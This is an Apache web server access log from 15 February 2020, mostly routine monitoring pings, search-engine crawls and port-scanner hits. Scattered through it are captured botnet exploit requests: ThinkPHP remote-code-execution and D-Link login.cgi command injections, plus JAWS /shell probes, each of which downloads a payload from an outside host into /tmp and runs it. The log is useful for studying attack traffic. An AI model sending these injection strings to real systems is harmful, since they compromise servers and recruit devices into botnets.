212.91.246.72 - - [15/Feb/2020:09:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.78.156.209 - - [15/Feb/2020:09:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:09:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.232.179.153 - - [15/Feb/2020:09:58:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:09:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:09:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.227.18 - - [15/Feb/2020:10:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:10:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.61.136.139 - - [15/Feb/2020:10:07:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:10:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.84.65.17 - - [15/Feb/2020:10:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:10:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.29.15.81 - - [15/Feb/2020:10:17:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:10:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.228.222.114 - - [15/Feb/2020:10:19:03 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:10:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [15/Feb/2020:10:25:18 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:10:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [15/Feb/2020:10:28:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [15/Feb/2020:10:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.16.24.211 - - [15/Feb/2020:10:33:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:10:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.49 - - [15/Feb/2020:10:37:04 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.52 - - [15/Feb/2020:10:37:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
193.57.40.38 - - [15/Feb/2020:10:37:37 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:10:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.241.128.55 - - [15/Feb/2020:10:39:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
213.221.32.154 - - [15/Feb/2020:10:39:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
81.4.140.122 - - [15/Feb/2020:10:39:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:10:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.55.168.50 - - [15/Feb/2020:10:44:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:10:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.128.217.99 - - [15/Feb/2020:10:45:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:10:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.41.146.245 - - [15/Feb/2020:10:48:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:10:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [15/Feb/2020:10:53:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
104.152.52.33 - - [15/Feb/2020:10:53:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [15/Feb/2020:10:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.152.52.33 - - [15/Feb/2020:10:53:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
104.152.52.33 - - [15/Feb/2020:10:54:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [15/Feb/2020:10:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.152.52.33 - - [15/Feb/2020:10:55:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [15/Feb/2020:10:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.8.14.81 - - [15/Feb/2020:10:57:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:10:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:10:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.158.191.155 - - [15/Feb/2020:11:01:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:11:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.197.148.140 - - [15/Feb/2020:11:02:45 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36"
44.229.252.28 - - [15/Feb/2020:11:03:03 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:03 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:03 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:04 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:04 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:04 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:05 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:05 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
44.229.252.28 - - [15/Feb/2020:11:03:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [15/Feb/2020:11:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.80.249.211 - - [15/Feb/2020:11:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0"
82.80.249.249 - - [15/Feb/2020:11:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0"
212.91.246.72 - - [15/Feb/2020:11:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [15/Feb/2020:11:10:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.216.26.21 - - [15/Feb/2020:11:11:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
70.113.222.187 - - [15/Feb/2020:11:11:25 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
199.19.225.173 - - [15/Feb/2020:11:11:26 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [15/Feb/2020:11:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [15/Feb/2020:11:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:11:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [15/Feb/2020:11:20:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [15/Feb/2020:11:20:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [15/Feb/2020:11:20:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.130.21.230 - - [15/Feb/2020:11:20:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.128.241.71 - - [15/Feb/2020:11:21:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [15/Feb/2020:11:21:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:11:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.167.37.132 - - [15/Feb/2020:11:25:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:11:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:11:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.234 - - [15/Feb/2020:11:27:45 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
